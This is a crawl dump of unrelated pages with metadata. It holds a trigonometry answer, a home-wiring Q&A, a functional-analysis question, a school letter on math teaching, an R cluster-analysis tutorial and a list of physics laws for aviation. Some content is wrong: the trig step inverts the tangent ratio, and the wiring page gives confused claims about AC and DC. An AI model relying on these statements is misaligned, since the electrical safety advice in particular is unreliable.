$\dfrac{3\pi}{4}, \dfrac{7\pi}{4}$
Since $\tan{\theta} = \dfrac{\cos{\theta}}{\sin{\theta}}$ As $\tan{\theta} = -1$, we search figure 22 for points where $\cos{\theta} = -\sin{\theta}$ The two angles on the unit circle where $\cos{\theta} = -\sin{\theta}$ are $\dfrac{3\pi}{4}$ and $\dfrac{7\pi}{4}$ $\theta = \dfrac{3\pi}{4}, \dfrac{7\pi}{4}$ | 146 | 370 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.890625 | 4 | CC-MAIN-2024-38 | latest | en | 0.624225 |
https://howtoimprovehome.com/run-different-voltage-conduit/ | 1,696,376,787,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233511284.37/warc/CC-MAIN-20231003224357-20231004014357-00554.warc.gz | 321,342,458 | 33,082 | Can You Run Different Voltages In The Same Conduit? Answered
Most of the time people need to know if they can run two different voltages in the same conduit, well there are multiple variables to this one simple question.
Running different voltages on the same conduit has its precautions and its upsides. Not abiding by the very strict rules and practices can however lead to something you don’t want. If you want to avoid the negative consequences of this, you are going to abide by the necessary precautions that need to be taken.
Can you run two different voltages in the same conduit?
Yes, You can, you just have to take into account the voltages you are trying to run. The actual volts you want to run must come into play. Running high and low voltages have some effects you should know about. Running 0-10V dimming wires in the same conduit as line voltage is not recommended at all.
So, when you look at it, the voltage difference actually matters a lot. When the voltage difference is significant, they need to be run separately or at least be separated by a continuous barrier. So what about 120v and 480? On a well-grounded 120V conductor? Yes, it is possible. You would run a 120v control wire one way, and a 480v power the other. Good Engineering practices recommend that you try separating the wires as much as you can.
Can you run AC and DC wires in the same conduit?
The answer is No since the DC cables could induce a DC voltage onto the AC side. They can run directly side by side. The reason for not allowing them in the same conduit is partly that if your insulation fails in some manner you can have very high voltages passing into low-voltage wiring.
The general practice is not to run AC and low-level DC which is usually defined as less the 50VDC in the same conduit, but like everything in life, there are very few hard and fast rules. The real problem arises when there’s a high current flowing in either circuit and particularly if that current is being switched off or on.
If we were purely concerned about wires touching, it would have been sufficient if both cables were armored in some way. PV cable is pretty thick already, and if you had Surfix running in the same conduit, it should be perfectly safe.
Why should AC and DC wiring be kept separate?
Separation of the wiring is not just because they are just AC or DC, but because they clearly serve a different function, going from different places to different places. More importantly, DC wiring is more likely to be low voltage wiring, you certainly do not want to mix up high voltage cables.
You certainly do not want to mix high voltage cables with low voltage cables. A lot of things can occur when there’s a mix of other low voltage signal cables with high voltage AC cables which could cause a lot of interference and crosstalk.
Imagine this, current flows in both directions alternatively, but a DC wire has only one direction of current flow which may be positive or negative. Now imagine that in a certain moment of time, there is a negative electron flowing inside the AC wire, and the wire accidentally touches the DC wire. In this case, the entire system will get violently short and worst-case scenario? You might have a fire in your system. It’s best practice to make sure that AC and DC wiring and kept separate.
How To Measure and Identify Resistor Using Multimeter & Color Codes?
How To Identify Neutral Wire With Multimeter?
How To Check If Wire is Broken With a Multimeter? – 4 Steps
How to Identify Wires in a 3-Way Switch?
How to Identify Line and Load Wires? – 4 Ways
How To Check if Multimeter Is Working Properly? – 7 Steps
Can we use the same cable for AC and DC?
Yes, it is possible. However, there is one main thing to consider. When substituting Voltage and Current, It is not advised to take a cable built for a 5V, 1A DC application for an application designed to power 220v, 5A AC device. Due to an excessive amount of high current the cable is most likely to melt causing a fire of some sort.
For AC cables the current flows through one direction and then changes as it flows in the other direction. DC cables, on the other hand, pass through the cable with no alternating characteristics of any sort. | 917 | 4,240 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2023-40 | longest | en | 0.953232 |
https://math.stackexchange.com/questions/803964/where-am-i-wrong | 1,586,443,973,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585371858664.82/warc/CC-MAIN-20200409122719-20200409153219-00184.warc.gz | 561,742,771 | 31,153 | # Where am I wrong ??
Let $(X,|.|)$ be a Banach space. $A\in B(X)$ a bounded injective operator. Then we can define another norm on $X$ by $$|x|_A=|Ax|.$$ Since we have $$|x|_A\leq |A||x|$$ Then by the result of continuity of the inverse, there's a constant $c>0$ such that $$|x|\leq c|x|_A=c|Ax|$$ But the last inequality means that $A$ cannot be compact. This means every injective bounded operator is not compact which is not true because there's lot of counter examples. So i don't know where I am wrong in my reasoning.
• Your "result of continuity of the inverse" requires that the range of $A$ be closed. – David Mitra May 21 '14 at 11:15
• @David I just saw that $(X,|.|_A)$ is actually not a Banach space, so I can't apply this result. Which as you said needs $R(A)$ to be closed. This maybe provides a counter example of applying the open map theorem with one of domain/codomain not Banach. – user165633 May 21 '14 at 11:23
As David Mitra mentioned, $(X,|.|_A)$ is not Banach, so we can't apply the result of the boundedness of the inverse operator. This needs $A$ to have a closed range. | 325 | 1,101 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.1875 | 3 | CC-MAIN-2020-16 | latest | en | 0.930748 |
https://school.cbe.ab.ca/school/ColonelJFredScott/about-us/school/principal-message/Lists/Posts/Post.aspx?ID=5 | 1,695,823,649,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233510300.41/warc/CC-MAIN-20230927135227-20230927165227-00429.warc.gz | 547,482,914 | 30,769 | You Are Here:
Mar 02
How Math Has Changed
Math in schools has changed quite a bit since I was a child. When I think of my youth in school learning math I think of worksheets. Page after page of worksheets. I think of homework where we practiced math computation skills with little or no context. And half of the time we spent in math class was dedicated to taking up the homework. But the most dreadful part was the math “word problem!” Word problems like…
“At 10:00 AM train A left the station and an hour later train B left the same station on a parallel track. If train A traveled at a constant speed of 60 miles per hour and train B at 80 miles per hour, then at what time did train B pass train A?”
OR
“Al's father is 45. He is 15 years older than twice Al's age. How old is Al?”
When we were young, we really didn’t care how old Al was or what time train A passed train B!! And we would have many, many similar word problems that had no connection to any of us. To make matters worse, the teachers tried to confuse us with the language they used. They purposefully tried to trick us with words!
Today in schools, we teach math differently. Of course, the actual math is the same and the basics are the same. Teaching the foundations of math is still important, however we now use current brain research, current research on learning and we need to be aware that there are now computers in all schools and homes. The way we teach math has evolved and students are being asked to think differently about mathematics.
But this is all very confusing for parents who grew up in the age of ‘old math’. I often hear from parents who ask…
“I don’t understand the math they are doing in schools these days.”
The job requirements in today’s world have changed dramatically over the years. Many of today’s jobs did not even exist when I was young. As such, the goals for our students in math have also changed. Instead of focusing mostly on computation, we are focusing on the understanding of math concepts and the ability to apply this understanding to real world situations. The Alberta Program of Studies states that the main goals for mathematical education are to prepare students to:
• use mathematics confidently to solve problems
• communicate and reason mathematically
• appreciate and value mathematics
• make connections between mathematics and its applications
• commit themselves to lifelong learning
• become mathematically literate adults, using mathematics to contribute to society.
This is a very comprehensive list of goals. Not only do we teach the basics of math, but we also teach problem solving skills and communication skills, as well as help students to connect mathematical ideas to other concepts, use mental math, develop mathematical reasoning, and develop visualization skills.
The biggest problem I hear from parents is that they don’t understand the different math strategies their children bring home from school. Most parents were only taught one way to solve a math problem. Many years ago, the teacher would teach the entire class only one way, but students are now learning many ways to solve the same problem. These aren’t different ‘tricks’ to solve a problem but different developmental strategies that fit the needs of each learner.
Another question I hear from parents is…
“I don’t know how to help my child in Math.”
We recognize that parents play an important role in shaping the way their children view learning. As a parent, you understand more than anyone else how your child learns and processes information. Instead of thinking about homework for your child in math, please consider:
• Talk about math in a positive way. A positive attitude about math is infectious.
• Encourage persistence. Some problems take time to solve.
• Encourage your child to experiment with different approaches to mathematics. There is often more than one way to solve a math problem.
• Encourage your child to talk about and show a math problem in a way that makes sense (i.e., draw a picture or use material like macaroni).
• When your child is solving math problems ask questions such as: Why did you...? What can you do next? Do you see any patterns? Does the answer make sense? How do you know? This helps to encourage thinking about mathematics.
• Connect math to everyday life and help your child understand how math influences them (i.e. shapes of traffic signs, walking distance to school, telling time).
• Play family math games together that add excitement such as checkers, junior monopoly, math bingo and uno.
• Computers + math = fun! There are great computer math games available on the internet that you can discover with your child.
• Talk with your child’s teacher about difficulties he/she may be experiencing. When teachers and parents work together, children benefit
Adapted from information provided by the Ontario Ministry of Education.
I would also encourage you to stay as informed as possible by reading our schools communication through our school/teacher blogs, twitter, newsletters and agendas. Also, please stay in constant communication with your child’s teacher to stay on top of what they are learning in Math.
With regards to homework, the current research states that homework in elementary school does not improve academic achievement. That doesn’t mean that we need to get rid of homework completely, but we can improve it! According to research, five to ten minutes of homework has the same effect as one or two hours. We now realize that the worst thing you can do for homework is give students projects to do at home or have parents teach a new concept. Instead, the best homework is reinforcing something your child has already learned!
Sincerely,
Scott Robinson, Principal
Colonel J. Fred Scott School | 1,169 | 5,811 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.09375 | 3 | CC-MAIN-2023-40 | latest | en | 0.978167 |
https://physics.stackexchange.com/questions/tagged/stress-strain?tab=newest&page=5 | 1,603,456,283,000,000,000 | text/html | crawl-data/CC-MAIN-2020-45/segments/1603107881369.4/warc/CC-MAIN-20201023102435-20201023132435-00325.warc.gz | 486,249,619 | 41,482 | # Questions tagged [stress-strain]
The tag has no usage guidance.
521 questions
Filter by
Sorted by
Tagged with
132 views
### Compute stress tensor in finite element simulation
I have implemented a finite element simulation using a tetrahedral mesh that minimizes a linear elasticity potential energy. Among the main quantities I compute for the simulation is the deformation ...
137 views
### Making sense of the stress tensor for elastic deformations
I've seen this kind of formula a number of times, in the context of elastic deformations. $$-\nabla \sigma = f$$ whete $\sigma$ is "the stress tensor" and $f$ is force. I never understood it even ...
100 views
### Why does an axially loaded column break along a 45 degrees plane?
In this video, at 7:57, the speaker mentions that columns under compression roughly break along a plane that is at 45 degrees to the axis of loading. If this is true, can someone explain why this ...
2k views
The images below are from "Strength of materials" book by Timoshenko. As evident from the text, the author states that stress on the cross section pq can be resolved into normal stress and shear ...
40 views
### A Good Book for Solid Material properties
I want to know a book which provides all solid material properties: Linear/Non-Linear Stress-Strain Data, Thermo-Elastic data (with specific heat function of temperature)... I will need them for ...
316 views
### Calculate the stress tensor on the surface of a tube
I am studying engineering and I was doing some preparation for the exam but stumbled accross the following problem: I would know how to solve task 2-4 but I am stuck at task 1. I do have multiple ...
41 views
125 views
### Curvature of a beam when subjected to an axial force
How do you calculate the curvature of a beam due to any forces acting parallel to the beam? Intuitively, a beam in real life would bend perpendicular to the force to form an arc. How is this ...
814 views
### Strain on a steel wire explanation
I want to ask a question about strain in a steel wire that I read in a book titled Advanced Physics by John Miller. A passage of the book on Materials reads: Consider 2 steel wires being stretched by ...
378 views
### Shear stress of a suspended sphere in a viscoelastic fluid
What I am trying to solve right now is that I have a magnetic particle (nanoparticle to be exact) floating in liquid that is viscoelastic and apply sinusoidal magnetic field. The applied magnetic ...
58 views
### Why does a rotating flexible disk have wave shape?
I found a video on which they shatter CD with a high RPM tool. Before the CD shatters it has a wavy shape, so I guess an axial force shatters the CD instead of a radial force, probably some kind of ...
140 views
### Thermal expansion stress and strain [closed]
I'm having trouble with this question: https://i.imgur.com/rWK0RNI.png and this is the work i've done so far: https://i.imgur.com/wy0IeTQ.jpg Am I going along the right lines? It seems its a 3 ...
3k views
### Solid Mechanics — how to find pure shear stress state?
I have a question regarding Solid Mechanics and Mohr's circle. In my test today, we had a plane stress state represented in a Mohr circle which was not centered at the origin. The question asked to ...
2k views
### How to find increment in length of rope due to its own weight?
I used stress/strain = Young modulus and am getting mgl/AY. . where m=mass l=length A=cross-sectional area and Y= young modulus.The correct answer is mgl/2AY. Where is my mistake?
49 views
### Why moving plunger in cylindrical tube can be considered as plain stress condition?
The plunger moves in the tube as you can see in the picture. This situation is plane strain, but i don't see it, i mean there are stresses in all directions so how is it possible to view this as plane ...
133 views
### Pressure of electrons in a metal
Suppose we apply a tensile/compressive stress of, say, 2 atm on a metal rod. If we consider a metal as consisting of electronic and lattice subsystems, could we say the the pressure of the conduction ...
171 views
### How to determine the increment term of normal and shear stress in infinitesimal cube ?
Consider a solid body, if it is in equilibrium then every infinitesimal part of the body is in equilibrium so i take an infinitesimal cube with side lengths, $dx$, $dy$ and $dz$ and try to write the ...
573 views
### What's the difference between critical load and yield stress?
So far, I have learned of three quantities that are related to the failure of a beam (axial and longitudinal loads). The first illustrates the stress under which balsa wood will undergo plastic ... | 1,052 | 4,673 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2020-45 | latest | en | 0.913765 |
https://uw.pressbooks.pub/appliedmultivariatestatistics/chapter/using-groups/ | 1,726,433,012,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651647.78/warc/CC-MAIN-20240915184230-20240915214230-00347.warc.gz | 543,792,404 | 26,704 | Classification
# 31 Using Groups
Learning Objectives
To explore ways of using the groups identified from cluster analyses: naming them, using them to summarize data, and overlaying them onto an ordination.
To continue visualizing patterns among sample units.
Key Packages
`require(vegan)`
# Introduction
A hierarchical cluster analysis produces a dendrogram showing the relationships among sample units. Using the criteria discussed in that chapter, the analyst decides which height of the dendrogram to focus on and the associated number of groups. Each sample unit is assigned to one group based on where it was fused within the dendrogram.
A non-hierarchical cluster analysis (e.g., k-means) also assigns each sample unit to a group. The analyst decides how many groups they want and which criterion to use. Each sample unit is assigned to one group so as to minimize the criterion.
In this chapter, we will illustrate several ways to use the groups identified by either approach.
# Oak Example, and Naming Groups
The ideas in this chapter are illustrated with hierarchical and k-means cluster analyses of our oak dataset. I’ll use 6 groups for each analysis for simplicity.
`source("scripts/load.oak.data.R")`
`Oak_explan\$Stand <- rownames(Oak)`
`Oak1.hclust <- hclust(d = Oak1.dist, method = "ward.D2")`
`g6 <- cutree(Oak1.hclust, k = 6)`
`k6 <- kmeans(x = Oak1, centers = 6, nstart = 100)\$cluster`
`Oak_explan <- data.frame(Oak_explan, g6, k6) #Combine grouping codes with original data`
It can be confusing to keep track of the groups from different analyses when they’re named with the same values (here, 1:6). Also, these numbers are subjective – there’s no reason to expect group 1 from the `hclust()` analysis to have any relation to group 1 from the `kmeans()` analysis. Instead, let’s give them distinct categorical names.
```groups <- data.frame(g6, k6) %>% rownames_to_column("Stand") %>% ````merge(y = data.frame(g6 = 1:6, g6_letter = letters[1:6])) %>%`
`merge(y = data.frame(k6 = 1:6, k6_LETTER = LETTERS[21:26]))`
`with(groups, table(g6_letter, k6_LETTER))`
`````` k6_LETTER
g6_letter U V W X Y Z
a 10 0 1 2 1 0
b 0 0 9 0 0 0
c 0 0 0 0 0 10
d 0 0 2 0 1 0
e 4 0 0 0 1 2
f 0 2 0 2 0 0``````
I’ve highlighted in bold the row and column names – the rows reflect the groups from the `hclust()` analysis and the columns reflect the groups from the `kmeans()` analysis. The values within the table are the number of sample units assigned to the same combination of groupings.
The differing criteria for identifying groups have resulted in some differences between these two approaches – for example, sample units that are assigned to group ‘a’ in the `hclust()` analysis are assigned to four different groups in the `kmeans()` analysis. Furthermore, the assignment of groups of sample units to particular group codes may vary from run to run of the analysis.
# Comparing Dendrogram to Individual Variables
One way to explore a hierarchical cluster analysis is to compare it with the abundances of the species present in each plot.
The `vegan::tabasco()` function allows this. The following graphic would be very busy if I used all species, so I focus just on those species present in at least half of the stands. I also label each sample unit with the group it is assigned to and its stand number.
`tabasco(x = vegtab(Oak1,`
` minval = nrow(Oak1)/2),`
` use = Oak1.hclust,`
` labCol = paste(groups\$g6_letter, groups\$Stand, sep = "_") )`
In this image, sample units are arranged based on their location in the dendrogram shown at the top of the heat map and are coded at the bottom of the image by the numerical code for the group to which they are assigned and their stand number.
Each cell in this image is colored to reflect the abundance of that species (row) in that sample unit (column). Note that we relativized each species by its maximum and therefore every row has at least one dark red cell (relative abundance = 1). If we had not relativized these data, the species with larger absolute abundances would be darker in this heat map. As it is, you can see that Quga.t has mostly red colors because it had relatively high abundance in all plots.
The `tabasco()` function can also be applied to view species abundances relative to a vector of other data (e.g., values of an explanatory variable).
The `vegan::vegemite()` function produces a compact tabular summary of the abundances of taxa. It requires specification of a scale for expressing abundance as a set of one-character numbers or symbols.
# Summarizing Variables Within Groups
We can treat the groups from a cluster analysis as a factor that is then used to summarize individual variables. These individual variables could be part of the data matrix from which the distance matrix was calculated, or other variables that were collected on the same sample units but were not part of the cluster analysis.
To illustrate this, I use the 6 groups from the hierarchical cluster analysis to summarize a few explanatory variables.
```Oak_explan %>% merge(y = groups) %>%```
`group_by(g6_letter) %>%`
```summarize(n = length(g6_letter), Elev.m = mean(Elev.m), AHoriz = mean(AHoriz)) ```
``````# A tibble: 6 × 4
g6_letter n Elev.m AHoriz
<chr> <int> <dbl> <dbl>
1 a 14 133. 13.1
2 b 9 135 25.2
3 c 10 162. 18
4 d 3 157 11.3
5 e 7 145. 16.9
6 f 4 163 16.8``````
For example, groups ‘c’ and ‘f’ have higher average elevations than the others.
We could also test whether groups differ with regard to elevation and other variables.
We can do the same calculations with response variables. Furthermore, since we relativized each species by its maxima, we can summarize either the raw data or the relativized data. Here’s we’ll just pick out two species.
Looking at the raw abundance data for these species within the 6 groups from the hierarchical cluster analysis:
```Oak %>% ``````rownames_to_column("Stand") %>% merge(y = groups) %>% group_by(g6_letter) %>% summarize(n = length(g6_letter), Pomu = mean(Pomu), Syal.s = mean(Syal.s)) ```
``````# A tibble: 6 × 4
g6_letter n Pomu Syal.s
<chr> <int> <dbl> <dbl>
1 a 14 8.5 21.3
2 b 9 5.58 55.7
3 c 10 48.2 21.2
4 d 3 1.40 57
5 e 7 12.4 14.1
6 f 4 0 0.975``````
Pomu had much higher cover (48.2%) in group ‘c’ than in the groups, and was absent from plots classified into group ‘f’. Syal.s was abundant in groups ‘b’ and ‘d’.
Looking at the relativized data, as used in the hierarchical cluster analysis:
```Oak1 %>% rownames_to_column("Stand") %>% ``````merge(y = groups) %>% group_by(g6_letter) %>% summarize(n = length(g6), Pomu = mean(Pomu), Syal.s = mean(Syal.s)) ```
``````# A tibble: 6 × 4
g6_letter n Pomu Syal.s
<chr> <int> <dbl> <dbl>
1 a 14 0.105 0.296
2 b 9 0.0689 0.773
3 c 10 0.594 0.294
4 d 3 0.0173 0.792
5 e 7 0.153 0.195
6 f 4 0 0.0135``````
For example, the mean abundance of Pomu in group ‘a’ is about a tenth of what it is in the stand where it was most abundant.
Once you understand how groups differ, you could incorporate that information into descriptive group names. These names could be used when group identities are overlaid onto ordinations, summarized in tables, etc. For example, Wainwright et al. (2019) conducted a hierarchical cluster analysis of vegetation data from permanent plots and identified four distinct groups of plots. They then examined characteristics of the species that were dominant in each group:
• Functional group (shrub, grass, forb)
• Nativity (whether native or non-native to area)
• Fire tolerance (whether shrubs were able to resprout or not after fire)
Based on this information, they named their four groups as obligate seeder, grass-forb, invaded sprouter, and pristine sprouter. See their Table 1 for more characteristics of these groups.
# Overlaying Onto An Ordination
The multivariate set of responses used to create a distance matrix can also be visualized through an ordination. An ordination is a low-dimensional (often two-dimensional) representation of the dissimilarity matrix: points near one another are similar in composition, and points far from one another are more dissimilar. This graphical summary of the data can then be overlaid with other information, including about the groups generated through a cluster analysis.
## Overlaying A Dendrogram (`vegan::ordicluster()`)
The `ordicluster()` function provides one way to explore the structure within the groups identified from a dendrogram. It simply adds lines to an ordination that connect plots in the order in which they were fused together in the cluster analysis. When a group is being fused, the line intersects the centroid of the group. Recall that a dendrogram can be envisioned as a (one-dimensional) mobile. What we’re doing here is arranging the groups in two dimensions and then looking directly down onto that mobile.
We’ll illustrate this using the oak plant community dataset, and the 6 groups that we identified from its dendrogram. We conduct and plot a NMDS ordination of the data, and then overlay the cluster results onto it:
```Oak1.z <- metaMDS(comm = Oak1.dist, k = 2)```
```plot(Oak1.z, display = "sites", main = "6 groups", ``````xaxt = "n", yaxt = "n", xlab = "", ylab = "")```
```ordicluster(ord = Oak1.z, cluster = Oak1.hclust, prune = 5, col = g```6)
We’ll cover NMDS ordinations soon. For now, please note that each point is a stand. Points that are near to one another are more similar in composition, and those that are far from one another are more different in composition.
A few notes about the `ordicluster()` function:
• The ‘`prune`’ argument specifies how many fusions to omit; since each fusion combines two groups, the number of groups to be displayed is one more than the number of fusions omitted (i.e., prune = 5 shows 6 groups). In other words, the ‘`prune`’ argument omits the last or upper fusions in the dendrogram so that we can see the patterns within each group.
• For clarity, I used a different color for the lines connecting stands in each group.
• I used `g6` to index the colours; `groups\$g6_letter` did not work and I haven’t debugged this.
This approach is not applicable to k-means cluster analysis … do you see why?
## Overlaying Group Perimeters (`vegan::ordihull()`)
Groups can also be highlighted in ways that do not require a dendrogram and that therefore can be applied to the groups identified through any type of cluster analysis. In fact, these methods can be applied to groups identified by any categorical variables!
Here, we illustrate how to draw a polygon or hull that encompasses all sample units from the same group.
We plot the ordination again and then add hulls based on the grouping factor of interest. We can repeat this multiple times to explore different groupings.
First, let’s view the six groups from our hierarchical cluster analysis:
```plot(Oak1.z, display = "sites", main = "6 groups (hier.)", ``````xaxt = "n", yaxt = "n", xlab = "", ylab = "")```
```ordihull(ord = Oak1.z, groups = g6, col = "blue", lwd = 2) ```
Next, let’s view the six groups from our k-means analysis:
```plot(Oak1.z, display = "sites", main = "6 groups (k-means)", ``````xaxt = "n", yaxt = "n", xlab = "", ylab = "")```
```ordihull(ord = Oak1.z, groups = k6, col = "red", lwd= 2)```
The two types of cluster analyses identified quite different groups, in part because one was hierarchical and the other was not.
## Overlaying Group Identities
We can use symbology to distinguish groups in an ordination. Let’s use our k-means analysis to do so.
```plot(Oak1.z, display = "sites", main = "6 groups (k-means)", ``````xaxt = "n", yaxt = "n", xlab = "", ylab = "")```
```points(Oak1.z, pch = k6,```
```col = k6, cex = 2)```
We will see more ways to visualize groups when we discuss ordinations.
# Other Uses for Cluster Groups
The groups that we identify can serve as explanatory variables in subsequent analyses. For example:
• A cluster analysis of vegetation groups at one point in time might form a categorical variable in subsequent analyses of how vegetation communities changed over time. Mitchell et al. (2017) provide an example of this.
• Environmental variables might be tested to determine if they differ among groups defined from a cluster analysis of vegetation data, or vice versa.
Another option is to test for differences in the data matrix among groups. For example, if we are using a plant community data matrix as in our oak example dataset, we could test whether composition differs amongst the groups identified in a cluster analysis. This may be somewhat uninteresting, since the clustering was done expressly to identify groups that were as different from one another as possible. It is possible, I think, for these clusters to not differ statistically from one another, but in my experience this is uncommon. One other factor to keep in mind in this regard is the hierarchical structure of the groups: two groups from the same branch of the dendrogram are necessarily going to be more similar to each other than to a group from another branch of the dendrogram.
Although a cluster analysis identifies groups, that does not mean that all of the variables in the response matrix are equally different among those groups. Variables can be tested individually (or in subsets) to determine which group(s) they differ among. The ways that this is done need to reflect the characteristics of the data.
• Regular, continuously distributed variables can be analyzed using ANOVA or PERMANOVA.
• Community data are often represented by sparse matrices (lots of absences). One way to test for differences in this type of data is with Indicator Species Analysis (ISA). ISA considers both species presence/absence and species abundance, and identifies species that are more strongly associated with the groups than expected by chance. We’ll consider this separately.
# Conclusions
The groups identified through cluster analysis are based on the multivariate data collected on the sample units. Other information such as explanatory variables was not used in this classification.
The groups can be used to summarize variables collected on the same sample units, both variables that were included in the calculation of the distance matrix and those that were independent of it. This information can be used to assign more meaningful names to the groups.
Groups can be illustrated graphically by overlaying them onto an ordination based on the same data.
# References
Mitchell, R.M., J.D. Bakker, J.B. Vincent, and G.M. Davies. 2017. Relative importance of abiotic, biotic, and disturbance drivers of plant community structure in the sagebrush steppe. Ecological Applications 27:756-768.
Wainwright, C.E., G.M. Davies, E. Dettweiler-Robinson, P.W. Dunwiddie, D. Wilderman, and J.D. Bakker. 2019. Methods for tracking sagebrush-steppe community trajectories and quantifying resilience in relation to disturbance and restoration. Restoration Ecology 28:115-126. | 3,889 | 15,354 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2024-38 | latest | en | 0.82663 |
http://marksplanes.wikidot.com/quick-list-for-scientific-laws-used-in-aviation | 1,558,427,585,000,000,000 | text/html | crawl-data/CC-MAIN-2019-22/segments/1558232256314.25/warc/CC-MAIN-20190521082340-20190521104340-00159.warc.gz | 121,760,891 | 7,824 | Quick List For Scientific Laws Used In Aviation
Newton's Laws
• Newton's First Law - A body at rest tends to remain at rest, and a body in motion tends to remain in uniform motion, unless acted on by some outside force.
• Newton's Second Law - Acceleration produced in a mass by the addition of a given force is directly proportional t he force, and inversely proportional to the mass.
• Newton's Third Law - For every action, there is an equal and opposite reaction.
Boyle's Law
• When you change the volume of a confined gas that i held at a constant temperatre, the gas pressure also changes.
Charle's Law
• All gasses expandand contract in direct proportion to any change in absolute temperature.
Dalton's Law
• When a mixture of two or more gasses which do not combine chemically is placed in a container, each gas expands to fill the container. The total pressure exerted on the container is equal to the sum of the partial pressures.
Pascal's Law
• When pressure is applied to a confined liquid , the liquid exerts an equal pressure at right angles to the container that encloses it.
Archimedes' Principal
• When an object is submerged in a liquid, the object displaces a volume of liquid equal to its volume and is supported by a force equal to the weight of the liquid displaced. The force that supports the object is known as the liquid's buoyant force.
Bernoulli's Principle
• As the velocity of a fluid increases, its internal pressure decreases.
Ohm's Law
• The current that flows in a circuit is directly proportional to the voltage that causes it, and inversely proportional to the resistance in the circuit.
page revision: 0, last edited: 18 Nov 2009 19:30 | 372 | 1,688 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2019-22 | latest | en | 0.919514 |
https://www.teachoo.com/11925/754/Ex-11.3--13-c/category/Ex-11.3/ | 1,726,022,152,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651343.80/warc/CC-MAIN-20240911020451-20240911050451-00135.warc.gz | 949,603,791 | 22,334 | Plane
Chapter 11 Class 12 Three Dimensional Geometry
Serial order wise
### Transcript
